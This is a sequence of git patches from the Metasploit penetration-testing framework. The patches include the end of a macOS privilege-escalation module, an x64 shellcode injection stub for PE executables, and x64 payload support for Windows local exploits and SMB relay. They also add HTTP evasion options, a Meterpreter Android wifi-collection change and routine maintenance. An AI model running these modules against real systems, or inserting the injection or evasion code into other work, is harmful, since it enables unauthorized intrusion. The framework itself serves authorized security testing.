+ + def ver? + Gem::Version.new(get_sysinfo['ProductVersion']).between?( + Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5') + ) + end + + def sploit + "chmod +x #{exploit_file} #{payload_file} && #{exploit_file}" + end + + def binary_exploit + File.read(File.join( + Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn' + )) + end + + def binary_payload + Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + end + + def exploit_file + @exploit_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + + def payload_file + @payload_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + +end From 182c1bc7fe347ffbb8307318b137ad92f817f411 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 18:20:04 -0500 Subject: [PATCH 0312/2172] Disconnect socket when login fails --- modules/auxiliary/scanner/telnet/telnet_login.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 069e3f44dc..e9315b7ba4 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -89,6 +89,7 @@ class Metasploit3 < Msf::Auxiliary else invalidate_login(credential_data) vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + disconnect(scanner.sock) end end end From d54249370b406468b7a1931b42ddc95fec79f358 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 17 Aug 2015 18:25:16 -0500 Subject: [PATCH 0313/2172] Move tpwn source to external/source/exploits --- {data => external/source}/exploits/tpwn/Makefile | 0 {data => external/source}/exploits/tpwn/import.h | 0 {data => external/source}/exploits/tpwn/lsym.h | 0 {data => external/source}/exploits/tpwn/lsym.m | 0 {data => external/source}/exploits/tpwn/lsym_gadgets.h | 0 {data => external/source}/exploits/tpwn/main.m | 0 6 files changed, 0 insertions(+), 0 deletions(-) rename {data => external/source}/exploits/tpwn/Makefile (100%) rename {data => external/source}/exploits/tpwn/import.h (100%) rename {data => external/source}/exploits/tpwn/lsym.h (100%) rename {data => external/source}/exploits/tpwn/lsym.m (100%) rename {data => external/source}/exploits/tpwn/lsym_gadgets.h (100%) rename {data => external/source}/exploits/tpwn/main.m (100%) diff --git a/data/exploits/tpwn/Makefile b/external/source/exploits/tpwn/Makefile similarity index 100% rename from data/exploits/tpwn/Makefile rename to external/source/exploits/tpwn/Makefile diff --git a/data/exploits/tpwn/import.h b/external/source/exploits/tpwn/import.h similarity index 100% rename from data/exploits/tpwn/import.h rename to external/source/exploits/tpwn/import.h diff --git a/data/exploits/tpwn/lsym.h b/external/source/exploits/tpwn/lsym.h similarity index 100% rename from data/exploits/tpwn/lsym.h rename to external/source/exploits/tpwn/lsym.h diff --git a/data/exploits/tpwn/lsym.m b/external/source/exploits/tpwn/lsym.m similarity index 100% rename from data/exploits/tpwn/lsym.m rename to external/source/exploits/tpwn/lsym.m diff --git a/data/exploits/tpwn/lsym_gadgets.h b/external/source/exploits/tpwn/lsym_gadgets.h similarity index 100% rename from data/exploits/tpwn/lsym_gadgets.h rename to external/source/exploits/tpwn/lsym_gadgets.h diff --git a/data/exploits/tpwn/main.m b/external/source/exploits/tpwn/main.m similarity index 100% rename from data/exploits/tpwn/main.m rename to external/source/exploits/tpwn/main.m From 884760f11d354c47cdabc9015a65ce125e361faf Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 18 Aug 2015 17:27:48 +1000 Subject: [PATCH 0314/2172] Update the output format for the Wifi collection --- .../meterpreter/extensions/android/android.rb | 33 ++++++++++------- .../ui/console/command_dispatcher/android.rb | 35 ++++++++++--------- 2 files changed, 40 insertions(+), 28 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 750e1b5cf6..62f66cdc4a 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -1,4 +1,5 @@ #!/usr/bin/env ruby +# # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/android/tlv' require 'rex/post/meterpreter/packet' @@ -10,10 +11,12 @@ module Post module Meterpreter module Extensions module Android + ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### + class Android < Extension COLLECT_TYPE_WIFI = 1 @@ -79,22 +82,28 @@ class Android < Extension case COLLECT_TYPES[opts[:type]] when COLLECT_TYPE_WIFI - result[:headers] = ['BSSID', 'SSID', 'Level'] + result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level'] + result[:entries] = [] + records = {} + response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| - collection = { - timestamp: g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP), - entries: [] - } + timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) + timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w| - collection[:entries] << [ - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID), - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID), - 0x100000000 - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) - ] - end + bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID) + ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID) + key = "#{bssid}-#{ssid}" - result[:collections] << collection + if !records.include?(key) || records[key][0] < timestamp + level = 0x100000000 - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) + records[key] = [timestamp, bssid, ssid, level] + end + end + end + + records.each do |k, v| + result[:entries] << v end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 4160666e4f..8030c3329c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -96,25 +96,28 @@ class Console::CommandDispatcher::Android return end - result = client.android.interval_collect(opts) - if result[:headers].length > 0 && result[:collections].length > 0 - result[:collections].each do |c| - time = Time.at(c[:timestamp]).to_datetime - table = Rex::Ui::Text::Table.new( - 'Header' => "Captured #{opts[:type]} data at #{time.strftime('%Y-%m-%d %H:%M:%S')}", - 'SortIndex' => -1, - 'Columns' => result[:headers], - 'Indent' => 0 - ) + if result[:headers].length > 0 && result[:entries].length > 0 + header = "Captured #{opts[:type]} data" - c[:entries].each do |e| - table << e - end - - print_line - print_line(table.to_s) + if result[:timestamp] + time = Time.at(result[:timestamp]).to_datetime + header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}" end + + table = Rex::Ui::Text::Table.new( + 'Header' => header, + 'SortIndex' => 0, + 'Columns' => result[:headers], + 'Indent' => 0 + ) + + result[:entries].each do |e| + table << e + end + + print_line + print_line(table.to_s) else print_good('Interval action completed successfully') end From 5b173319f2a0b3c89e7ff8212ecd6d0b3ee6919b Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 19 Aug 2015 00:22:26 +1000 Subject: [PATCH 0315/2172] Fix up level rendering --- lib/rex/post/meterpreter/extensions/android/android.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 62f66cdc4a..c6446cad3a 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -96,7 +96,9 @@ class Android < Extension key = "#{bssid}-#{ssid}" if !records.include?(key) || records[key][0] < timestamp - level = 0x100000000 - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) + # Level is passed through as positive, because UINT + # but we flip it back to negative on this side + level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) records[key] = [timestamp, bssid, ssid, level] end end From 56db3f2f874a4f1f00f8d8b552744f1b7407f30b Mon Sep 17 00:00:00 2001 From: jvicente <javier.vicente@byteheed.com> Date: Tue, 18 Aug 2015 21:15:02 +0200 Subject: [PATCH 0316/2172] Added YARD comments for busybox mixin. --- lib/msf/core/post/linux/busybox.rb | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/post/linux/busybox.rb b/lib/msf/core/post/linux/busybox.rb index f11a919368..5a66b7822f 100644 --- a/lib/msf/core/post/linux/busybox.rb +++ b/lib/msf/core/post/linux/busybox.rb @@ -10,7 +10,10 @@ module Busybox include ::Msf::Post::File # - #file? doesnt work because test -f is not implemented in busybox + #Checks if the target file exists + #@param file_path [String] the target file path + #@note file? doesnt work because test -f is not implemented in busybox + #@return [Boolean] True if files exists, otherwise false # def file_exists(file_path) s = read_file(file_path) @@ -21,7 +24,9 @@ module Busybox end # - #This function checks if the target directory is writable + #Checks if the target directory is writable + #@param directory_path [String] the target directory path + #@return [Boolean] True if target directory is writable, otherwise false # def is_writable_directory(directory_path) retval = false @@ -38,9 +43,12 @@ module Busybox end # - #This function checks if the target file is writable and writes or append the data given as parameter. - #BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for - #this reason it is necessary to implement an specific function + #Checks if the target file is writable and writes or append to the file the data given as parameter + #@param file_path [String] the target file path + #@param data [String] the content to be written to the file + #@param append [Boolean] if true, append data to the target file. Otherwise, overwrite the target file + #@note BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for this reason it is necessary to implement an specific function + #@return [Boolean] True if target file is writable and it was written. Otherwise, false. # def is_writable_and_write(file_path, data, append) if append @@ -64,8 +72,8 @@ module Busybox end # - #This function will check some directories that usually are writable in devices running busybox - #If the function finds a writable directory, it returns the path. Else it returns nil + #Checks some directories that usually are writable in devices running busybox + #@return [String] If the function finds a writable directory, it returns the path. Else it returns nil # def get_writable_directory() writable_directory = nil From 015d04573095960c1dc30d77ce3e7c6b4fbef584 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 18 Aug 2015 15:55:35 -0500 Subject: [PATCH 0317/2172] read max_size bytes at a time --- lib/rex/proto/http/client.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index d15a999777..f8a582a7d1 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -586,8 +586,8 @@ class Client begin - buff = conn.get_once(-1, 1) - rv = resp.parse( buff || '' ) + buff = conn.get_once(resp.max_data, 1) + rv = resp.parse(buff || '') # Handle unexpected disconnects rescue ::Errno::EPIPE, ::EOFError, ::IOError From bf39f53066d4d3b981ce9f1c3c36ba47f9590c10 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Wed, 19 Aug 2015 16:16:58 -0500 Subject: [PATCH 0318/2172] Add proper CreateThread stub for x64 --- lib/msf/core/exe/segment_injector.rb | 49 +++++++++++++++++++++++++--- msfvenom | 4 +-- 2 files changed, 46 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 11ca89853a..b6a57ee3a8 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -27,10 +27,50 @@ module Exe return Metasm::Ia32.new when :x64 return Metasm::X86_64.new + else + raise "Incompatible architecture" end end def create_thread_stub + case @arch + when :x86 + create_thread_stub_x86 + when :x64 + create_thread_stub_x64 + else + raise "Incompatible architecture" + end + end + + def create_thread_stub_x64 + <<-EOS + mov rcx, hook_libname + call [iat_LoadLibraryA] + mov rdx, hook_funcname + mov rcx, rax + call [iat_GetProcAddress] + push 0 + push 0 + mov r9, 0 + lea r8, [thread_hook] + mov rdx, 0 + mov rcx, 0 + call rax + + jmp entrypoint + + hook_libname db 'kernel32', 0 + hook_funcname db 'CreateThread', 0 + + thread_hook: + lea #{buffer_register}, [shellcode] + shellcode: + EOS + end + + + def create_thread_stub_x86 <<-EOS pushad push hook_libname @@ -73,10 +113,9 @@ module Exe # .text:004136BC sar ecx, 1 # .text:004136BE mov eax, [eax+0Ch] # .text:004136C1 add eax, 0Ch - pattern = /\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C/ - sections = {} - pe.sections.each {|s| sections[s.name.to_s] = s} - if sections['.text'].encoded.pattern_scan(pattern).blank? + pattern = "\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C" + section = pe.sections.find { |s| s.name.to_s == '.text' } + if section && section.encoded.pattern_scan(pattern).blank? return false end @@ -120,7 +159,7 @@ entrypoint: # Generate a new code section set to RWX with our payload in it s = Metasm::PE::Section.new s.name = '.text' - s.encoded = payload_stub prefix + s.encoded = payload_stub(prefix) s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE] # Tell our section where the original entrypoint was diff --git a/msfvenom b/msfvenom index 1b9fa98ff5..045cb07e78 100755 --- a/msfvenom +++ b/msfvenom @@ -284,7 +284,7 @@ if __FILE__ == $0 generator_opts = parse_args(ARGV) rescue MsfVenomError, Msf::OptionValidateError => e $stderr.puts "Error: #{e.message}" - exit(-1) + exit(1) end if generator_opts[:list] @@ -348,7 +348,7 @@ if __FILE__ == $0 end # No payload generated, no point to go on - exit(-1) unless payload + exit(2) unless payload if generator_opts[:out] begin From d71467f9e708e846e7a93191a0634d71620f955b Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Wed, 19 Aug 2015 17:06:29 -0500 Subject: [PATCH 0319/2172] Allow x64 registers for buffer_register --- lib/msf/core/exe/segment_injector.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index b6a57ee3a8..b8bfedb8e2 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -16,7 +16,13 @@ module Exe @template = opts[:template] @arch = opts[:arch] || :x86 @buffer_register = opts[:buffer_register] || 'edx' - unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase) + + x86_regs = %w{eax ecx edx ebx edi esi} + x64_regs = %w{rax rcx rdx rbx rdi rsi} + (8..15).map{|n| "r#{n}" } + + if @arch == :x86 && !x86_regs.include?(@buffer_register.downcase) + raise ArgumentError, ":buffer_register is not a real register" + elsif @arch == :x64 && !x64_regs.include?(@buffer_register.downcase) raise ArgumentError, ":buffer_register is not a real register" end end From 21c349494f6626fce6c25ab1f37b0f558ec700e0 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Wed, 19 Aug 2015 19:01:35 -0500 Subject: [PATCH 0320/2172] Fix default buffer_register for x64 --- lib/msf/core/exe/segment_injector.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index b8bfedb8e2..272cce5df4 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -15,11 +15,17 @@ module Exe @payload = opts[:payload] @template = opts[:template] @arch = opts[:arch] || :x86 - @buffer_register = opts[:buffer_register] || 'edx' + @buffer_register = opts[:buffer_register] x86_regs = %w{eax ecx edx ebx edi esi} x64_regs = %w{rax rcx rdx rbx rdi rsi} + (8..15).map{|n| "r#{n}" } + @buffer_register ||= if @arch == :x86 + "edx" + else + "rdx" + end + if @arch == :x86 && !x86_regs.include?(@buffer_register.downcase) raise ArgumentError, ":buffer_register is not a real register" elsif @arch == :x64 && !x64_regs.include?(@buffer_register.downcase) From 870e9f448ef41d1dc473da9478713d431fe2912a Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Thu, 20 Aug 2015 00:36:27 -0300 Subject: [PATCH 0321/2172] Added PacketStorm (PKT) in References Display --- lib/msf/core/module/reference.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index d7532bdfb4..85d436130a 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -113,6 +113,8 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}" elsif (in_ctx_id == 'WPVDB') self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}" + elsif (in_ctx_id == 'PKT') + self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}" elsif (in_ctx_id == 'URL') self.site = in_ctx_val.to_s else From 496e47a0946363ed32c683f1bb9fb13d77a4acf8 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Thu, 20 Aug 2015 00:39:11 -0300 Subject: [PATCH 0322/2172] Added PacketStorm (PKT) in module_reference tool --- tools/module_reference.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/module_reference.rb b/tools/module_reference.rb index d57c91128f..299cb5d6af 100755 --- a/tools/module_reference.rb +++ b/tools/module_reference.rb @@ -33,6 +33,7 @@ def types 'US-CERT-VU' => 'http://www.kb.cert.org/vuls/id/#{in_ctx_val}', 'ZDI' => 'http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}', 'WPVDB' => 'https://wpvulndb.com/vulnerabilities/#{in_ctx_val}', + 'PKT' => 'https://packetstormsecurity.com/files/#{in_ctx_val}', 'URL' => '#{in_ctx_val}' } end From 495ca55a7b02573c4f39acb6f3f7c7d5b56dda2a Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Thu, 20 Aug 2015 00:41:55 -0300 Subject: [PATCH 0323/2172] Added PacketStorm (PKT) for verification by msftidy --- tools/msftidy.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 34ec47a17b..8e56987e6c 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -193,6 +193,8 @@ class Msftidy warn("Invalid ZDI reference") if value !~ /^\d{2}-\d{3}$/ when 'WPVDB' warn("Invalid WPVDB reference") if value !~ /^\d+$/ + when 'PKT' + warn("Invalid PKT reference") if value !~ /^\d+$/ when 'URL' if value =~ /^http:\/\/www\.osvdb\.org/ warn("Please use 'OSVDB' for '#{value}'") @@ -208,6 +210,8 @@ class Msftidy warn("Please use 'US-CERT-VU' for '#{value}'") elsif value =~ /^https:\/\/wpvulndb\.com\/vulnerabilities\// warn("Please use 'WPVDB' for '#{value}'") + elsif value =~ /^http:\/\/packetstormsecurity\.com\/files\// + warn("Please use 'PKT' for '#{value}'") end end end From 45c7e4760ab68dda58925d211ae15cb3002fd937 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 20 Aug 2015 02:09:58 -0500 Subject: [PATCH 0324/2172] Support x64 payloads --- .../exploits/windows/local/agnitum_outpost_acs.rb | 2 +- .../exploits/windows/local/current_user_psexec.rb | 1 + modules/exploits/windows/local/run_as.rb | 2 +- .../exploits/windows/local/service_permissions.rb | 12 ++++++++++-- modules/exploits/windows/smb/smb_relay.rb | 1 + 5 files changed, 14 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb index b69f69ab10..d655683544 100644 --- a/modules/exploits/windows/local/agnitum_outpost_acs.rb +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Local 'Ahmad Moghimi', # Vulnerability discovery 'juan vazquez' # MSF module ], - 'Arch' => ARCH_X86, + 'Arch' => [ARCH_X86, ARCH_X86_64], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Privileged' => true, diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index 8b65ba6861..58729c5f29 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Local 'WfsDelay' => 10, }, 'DisclosureDate' => 'Jan 01 1999', + 'Arch' => [ARCH_X86, ARCH_X86_64], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Universal', {} ] ], diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index 57c7bab053..122e0262f3 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Local 'SessionTypes' => ['meterpreter'], 'Author' => ['Kx499', 'Ben Campbell'], 'Targets' => [ - [ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ] + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] ], 'DefaultTarget' => 0, 'References' => diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index d6ba7bff0c..5f182feb70 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Local }, 'License' => MSF_LICENSE, 'Author' => [ 'scriptjunkie' ], - 'Arch' => [ ARCH_X86 ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => @@ -165,11 +165,19 @@ class Metasploit3 < Msf::Exploit::Local # define the correct servicename. def write_exe(path, service_name=nil) vprint_status("[#{service_name}] Writing service executable to #{path}") - exe = generate_payload_exe_service({:servicename=>service_name}) + exe = generate_payload_exe_service({servicename: service_name, arch: get_payload_arch}) write_file(path, exe) register_files_for_cleanup(path) end + def get_payload_arch + if payload.arch.include?(ARCH_X86_64) + return ARCH_X86_64 + else + return ARCH_X86 + end + end + def exploit filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index fefa197c31..54613a7b59 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -83,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ], [ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ] ], + 'Arch' => [ARCH_X86, ARCH_X86_64], 'Platform' => 'win', 'Targets' => [ From 888208678a80aadd751319227b0dfacbc8c026a5 Mon Sep 17 00:00:00 2001 From: jvicente <javier.vicente@byteheed.com> Date: Thu, 20 Aug 2015 11:29:11 +0200 Subject: [PATCH 0325/2172] Added test module for busybox.rb mixin --- test/modules/post/test/busybox.rb | 63 +++++++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) create mode 100644 test/modules/post/test/busybox.rb diff --git a/test/modules/post/test/busybox.rb b/test/modules/post/test/busybox.rb new file mode 100644 index 0000000000..bec0e0fd36 --- /dev/null +++ b/test/modules/post/test/busybox.rb @@ -0,0 +1,63 @@ +require 'msf/core' + +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) +require 'module_test' + +load 'test/lib/module_test.rb' +#load 'lib/rex/text.rb' +#load 'lib/msf/core/post/file.rb' + +class Metasploit4 < Msf::Post + + include Msf::Post::Linux::Busybox + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing BusyBox Management Functions', + 'Description' => %q{ This module will test Post::Linux::BusyBox API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Javier Vicente Vallejo'], + 'Platform' => [ 'linux' ], + 'SessionTypes' => [ 'shell' ] + )) + + register_options( + [ + OptString.new("BaseFileName" , [true, "File name to create", "busybox_test"]) + ], self.class) + end + + + def test_busybox_file_system_management + + it "should test for file existence" do + ret = false + ret = true if file_exists("/etc/passwd") + ret + end + + it "should find a writable directory" do + ret = false + ret = true if nil != get_writable_directory() + ret + end + + it "should write and append data to a file in a writable directory" do + ret = false + writable_directory = get_writable_directory() + if nil != writable_directory + writable_file = writable_directory + datastore["BaseFileName"] + if is_writable_and_write(writable_file, "test write ", false) and "test write " == read_file(writable_file) and + is_writable_and_write(writable_file, "test append", true) and "test write test append" == read_file(writable_file) + ret = true + end + cmd_exec("rm -f #{writable_file}") + end + ret + end + + end + +end + From 2e4944b8ecafbb6253206af3b116fb319bbc1cef Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 20 Aug 2015 10:05:04 -0700 Subject: [PATCH 0326/2172] Remove unnecessary version_random_case option --- lib/rex/proto/http/client_request.rb | 5 ----- 1 file changed, 5 deletions(-) diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e2d425c6c9..a048138269 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -52,7 +52,6 @@ class ClientRequest 'method_random_case' => false, # bool 'version_random_valid' => false, # bool 'version_random_invalid' => false, # bool - 'version_random_case' => false, # bool 'uri_dir_self_reference' => false, # bool 'uri_dir_fake_relative' => false, # bool 'uri_use_backslashes' => false, # bool @@ -344,10 +343,6 @@ class ClientRequest ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) end - if (opts['version_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - ret << "\r\n" end From 407d701fd9977008d701e02d0d6fc404d45a7253 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 20 Aug 2015 10:05:16 -0700 Subject: [PATCH 0327/2172] Remove unnecessary version_random_case option --- lib/rex/proto/http/client.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index f8a582a7d1..3af1e4080d 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -58,7 +58,6 @@ class Client 'method_random_case' => 'bool', 'version_random_valid' => 'bool', 'version_random_invalid' => 'bool', - 'version_random_case' => 'bool', 'uri_dir_self_reference' => 'bool', 'uri_dir_fake_relative' => 'bool', 'uri_use_backslashes' => 'bool', From 0bb9324c8d86f8e734f224236a4b4a7f31fcf9c4 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 20 Aug 2015 10:05:42 -0700 Subject: [PATCH 0328/2172] Pass HTTP::version_random_valid and HTTP::version_random_invalid Fixes #5871 --- lib/metasploit/framework/login_scanner/http.rb | 10 ++++++++++ lib/msf/core/exploit/http/client.rb | 6 ++++++ 2 files changed, 16 insertions(+) diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index c621fcf345..77928c41bb 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -73,6 +73,14 @@ module Metasploit # @return [Boolean] Whether to use random casing for the HTTP method attr_accessor :evade_method_random_case + # @!attribute evade_version_random_valid + # @return [Boolean] Whether to use a random, but valid, HTTP version for request + attr_accessor :evade_version_random_valid + + # @!attribute evade_version_random_invalid + # @return [Boolean] Whether to use a random invalid, HTTP version for request + attr_accessor :evade_version_random_invalid + # @!attribute evade_uri_dir_self_reference # @return [Boolean] Whether to insert self-referential directories into the uri attr_accessor :evade_uri_dir_self_reference @@ -294,6 +302,8 @@ module Metasploit 'method_random_valid' => evade_method_random_valid, 'method_random_invalid' => evade_method_random_invalid, 'method_random_case' => evade_method_random_case, + 'version_random_valid' => evade_version_random_valid, + 'version_random_invalid' => evade_version_random_invalid, 'uri_dir_self_reference' => evade_uri_dir_self_reference, 'uri_dir_fake_relative' => evade_uri_dir_fake_relative, 'uri_use_backslashes' => evade_uri_use_backslashes, diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 83eaedff66..72b378980f 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -68,6 +68,8 @@ module Exploit::Remote::HttpClient OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]), OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]), OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]), + OptBool.new('HTTP::version_random_valid', [false, 'Use a random, but valid, HTTP version for request', false]), + OptBool.new('HTTP::version_random_invalid', [false, 'Use a random invalid, HTTP version for request', false]), OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]), OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]), OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]), @@ -176,6 +178,8 @@ module Exploit::Remote::HttpClient 'method_random_valid' => datastore['HTTP::method_random_valid'], 'method_random_invalid' => datastore['HTTP::method_random_invalid'], 'method_random_case' => datastore['HTTP::method_random_case'], + 